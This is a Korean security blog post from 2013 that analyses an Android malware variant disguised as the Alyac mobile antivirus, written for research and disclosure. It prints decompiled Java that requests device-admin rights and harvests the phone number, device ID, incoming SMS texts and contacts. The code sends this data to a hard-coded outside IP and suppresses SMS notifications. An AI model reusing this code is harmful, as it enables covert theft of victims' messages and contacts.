상세 컨텐츠

본문 제목

[Android Malware] 알약 모바일 백신 위장 변종 (danal.apk) 분석

Analysis

by DarkSoul.Story 2013. 5. 29. 14:45

본문

반응형



아래 내용은 연구 목적으로 작성되었으며, 해당 소스코드를 악의적인 목적으로 사용하는것은 절대 엄금합니다. 악의적으로 사용하여 발생할수 있는 모든 문제는 사용한 사용자에게 있습니다. 



1. 개요


앞서 분석한 알약 모바일 백신 위장 악성 앱 (alayc.apk)의 변종이 확인 되었다.


Filename:danal.apk 
MD5:eb8f44b005a9dfa2a0262609a4c0509f 
SHA-1:b97f911e3f266617c2ecd32ef1561f42affd275d 
File Size:305326 Bytes
API Level:

 

2. 분석 내용


지금까지 받아본 스미싱 문자의 내용은 결제내역 확인 문자가 주를 이루고 있었지만 이번에는 아래와 같은 내용으로 전파를 시도하고 있다. 



악성 앱이 설치되면, 기존 알약 모바일 백신 위장한 악성 앱과 동일하게 동작한다. 


APP가 요구하는 권한을 살펴 보면 아래와 같으며, 빨간색으로 표시된  권한이 악의적으로 사용될 수 있는 권한이다.


유저 권한 (User Permission : 악성 앱이 요구하는 권한 정보)

android.permission.RECEIVE_SMS

android.permission.ACCESS_NETWORK_STATE

android.permission.RECEIVE_BOOT_COMPLETED

android.permission.READ_PHONE_STATE

android.permission.INTERNET

android.permission.SEND_SMS

android.permission.ACCESS_FINE_LOCATION

android.permission.ACCESS_COARSE_LOCATION

android.permission.ACCESS_MOCK_LOCATION

android.permission.WRITE_EXTERNAL_STORAGE

android.permission.VIBRATE

android.permission.FLASHLIGHT

android.permission.MOUNT_UNMOUNT_FILESYSTEMS

android.permission.CAMERA

android.permission.WAKE_LOCK

android.permission.RECORD_AUDIO

 

android.permission.PROCESS_OUTGOING_CALLS

android.permission.CALL_PHONE

android.permission.READ_CONTACTS


alyac.apk 파일의 API 권한과 비교해보면, 하단에 진하게 표시한 3개의 API 권한이 추가되었다. 각 권한은 아래와 같이 사용된다.


android.permission.PROCESS_OUTGOING_CALLS : 앱이 발신 통화에 대한 정보를 모니터링 할 수 있도록 설정

android.permission.CALL_PHONE : 디바이스 인터페이스를 통하지 않고 앱이 전화를 거는것이 가능하도록 설정

android.permission.READ_CONTACTS : 앱이 디바이스의 연락처 데이터를 읽을 수 있도록 설정 


alayc.apk 파일과 비교해 보았을때, 추가적으로 READ_CONTACTS가 검출되었다. 


악성 앱을 디컴파일 후 소스파일을 alyac.apk 파일과 비교해 보면 아래와 같다.



기존에 만들어진 파일을 이용해서 수정하여 추가적으로 만들어졌다. 이제 소스코드를 자세히 살펴 보자.


korean.alyac.view의 StartActivity클래스에서 아래와 같이 관리자 권한을 요구한다. 


private void enableAdmin()

  {

    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");

    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", this.mDeviceAdmin);

    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", "기기보호와 앱의 정상동작을 위해 다음의 설정을 유효화하여 주십시오.");

    startActivityForResult(localIntent, 1);

  }


관리자 권한을 획득한 후 getLine1Number()를 이용하여, 악성 앱이 설치되어 있는 디바이스의 전화번호를 획득한다. 획득한 전화번호는 http://126.114.226.49로 전송된다.


public void run()

  {

    this.mTelephonyMgr = ((TelephonyManager)getSystemService("phone"));

    this.weiyi = this.mTelephonyMgr.getLine1Number();

    this.util = new HttpUtils();

    if (!TextUtils.isEmpty(this.weiyi))

    {

      this.url = ("http://126.114.226.49/" + "?phone=" + this.weiyi + "&type=join");

      HttpUtils.requestData(this.url);

    }

    procThreadResult();

  }


위 코드에 의해 전송되는 내용을 와이어샤크를 통해 살펴보면 아래와 같다.


소스코드에서 확인된 IP정보를 확인해본 결과 아래와 같이 일본인것이 확인되었다.



korean.alyac.view의 SMSBroadcastReceiver 클래스에서는 getLine1Number()를 이용하여 악성 앱이 설치되어있는 디바이스의 전화번호를 다시한번 획득한다. 


private String getPhoneNumber(Context paramContext)

  {

    return ((TelephonyManager)paramContext.getSystemService("phone")).
getLine1Number();

  }


 전화번호를 획득하면, 다음으로 getDeviceId()를 이용하여 디바이스 ID를 획득한다.


public String getdevicesid(Context paramContext)

  {

    TelephonyManager localTelephonyManager = (TelephonyManager)paramContext.
getSystemService("phone");

    try

    {

      String str = localTelephonyManager.getDeviceId();

      return str;

    }

    catch (Exception localException)

    {

    }

    return null;

  }


다음으로 getOriginatingAddress()를 이용하여 SMS 발신벊를 획득하고,getMessageBody()를 이용해 SMS 메시지 내용을 획득한다. 마지막으로 getTimestampMillis()를 이용하여 SMS가 전송된 날짜, 시간등을 획득한다.


이렇게 획득한 정보들은 취합하여 http://126.114.226.49로 전송한다.


public void onReceive(Context paramContext, Intent paramIntent)

  {

    if (!paramIntent.getAction().equals("android.provider.Telephony.
SMS_RECEIVED"))

      return;

    this.util = new HttpUtils();

    String str1 = getPhoneNumber(paramContext);

    String str2 = getdevicesid(paramContext);

    if (TextUtils.isEmpty(str1))

      this.weiyi = str2;

    while (true)

    {

      if (TextUtils.isEmpty(this.weiyi))

        this.weiyi = "";

      Object[] arrayOfObject = (Object[])paramIntent.getExtras().get("pdus");

      int i = arrayOfObject.length;

      int j = 0;

      label88: if (j >= i)

        break;

      SmsMessage localSmsMessage = SmsMessage.createFromPdu((byte[])arrayOfObject[j]);

      String str3 = localSmsMessage.getOriginatingAddress();

      String str4 = localSmsMessage.getMessageBody();

      Date localDate = new Date(localSmsMessage.getTimestampMillis());

      new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate);

      try

      {

        if ((HttpUtils.detect(paramContext)) && (str3 != null) && (!"".equals(str3)) && 
(str1 != null) && (!"".equals(str1)))

        {

          String str5 = URLEncoder.encode(str4, "UTF-8");

          this.url = ("http://126.114.226.49/" + "?phone=" + this.weiyi + "&send=" + str3 
+ "&surak=" + this.weiyi + "&memo=" + str5 + "&type=memo&xcode=1");

          HttpUtils.requestData2(this.url);

          this.url = ("http://126.114.226.49/" + "check.php?phone=" + this.weiyi);

          if (!HttpUtils.requestData2(this.url).equals("219083"))

            abortBroadcast();

        }

        j++;

        break label88;

        this.weiyi = str1;

      }

      catch (Exception localException)

      {

        while (true)

          localException.printStackTrace();

      }

    }

  }

    procThreadResult();

  }


http://126.114.226.49로 전송되는 내용을 와이어샤크를 이용해서 살펴 보면 아래와 같다.



여기까지는 소스코드는 조금 다르더라도 alayc.apk 파일과 같은 동작을 보인다. 아래는 korean.alyac.view의 Contacts 클래스의 내용이다. Contacts 클래스에서는 getList()를 이용하여, 악성 앱이 설치되어 있는 디바이스의 전화번호부에 접근하여, 전화번호부에 저장되어 있는 내용을 획득한다.


public String[][] getList(Context paramContext, int paramInt1, int paramInt2)

  {

    ContentResolver localContentResolver = paramContext.getContentResolver();

    String[] arrayOfString1 = { "_id", "display_name", "has_phone_number" };

    String str1 = "display_name COLLATE LOCALIZED ASC LIMIT " + String.valueOf(
paramInt1) + " OFFSET " + String.valueOf(paramInt2);

    String[] arrayOfString2 = { "1" };

    Cursor localCursor1 = localContentResolver.query(ContactsContract.Contacts.
CONTENT_URI, arrayOfString1, "has_phone_number=?", arrayOfString2, str1);
    String[][] arrayOfString = (String[][])Array.newInstance(String.class, new int[] 
{ localCursor1.getCount(), 4 });

    int i = 0;

    if (!localCursor1.moveToNext())

    {

      localCursor1.close();

      return arrayOfString;

    }

    String str2 = localCursor1.getString(localCursor1.getColumnIndex("_id"));

    arrayOfString[i][0] = str2;

    arrayOfString[i][1] = localCursor1.getString(localCursor1.getColumnIndex
("display_name"));

    Cursor localCursor2 = localContentResolver.query(ContactsContract.CommonDataKinds.
Phone.CONTENT_URI, null, "contact_id = ? ", new String[] { str2 }, null);
    label212: Cursor localCursor3;

    if (!localCursor2.moveToNext())

    {

      localCursor2.close();

      localCursor3 = localContentResolver.query(ContactsContract.CommonDataKinds.Email.
CONTENT_URI, null, "contact_id = ? ", new String[] { str2 }, null);

      label252: if (localCursor3.moveToNext())

        break label360;

      localCursor3.close();

      if (isId(str2))

        break label386;

      InsertContacts(arrayOfString[i][0], arrayOfString[i][1], arrayOfString[i][2], 
arrayOfString[i][3]);

    }

    while (true)

    {

      i++;

      break;

      String str3 = localCursor2.getString(localCursor2.getColumnIndex("data1"))
.replace("-", "");

      arrayOfString[i][2] = str3.replace(" ", "");

      break label212;

      label360: arrayOfString[i][3] = localCursor3.getString(localCursor3.
getColumnIndex("data1"));

      break label252;

      label386: updateContacts(arrayOfString[i][0], arrayOfString[i][1], arrayOfString[i]
[2], arrayOfString[i][3], null);

    }

  }


획득한 전화번호부는 http://126.114.226.49로 전송된다. http://126.114.226.49로 전송 되는 내용을 와이어샤크를 통해 살펴보면 아래와 같다.







반응형

관련글 더보기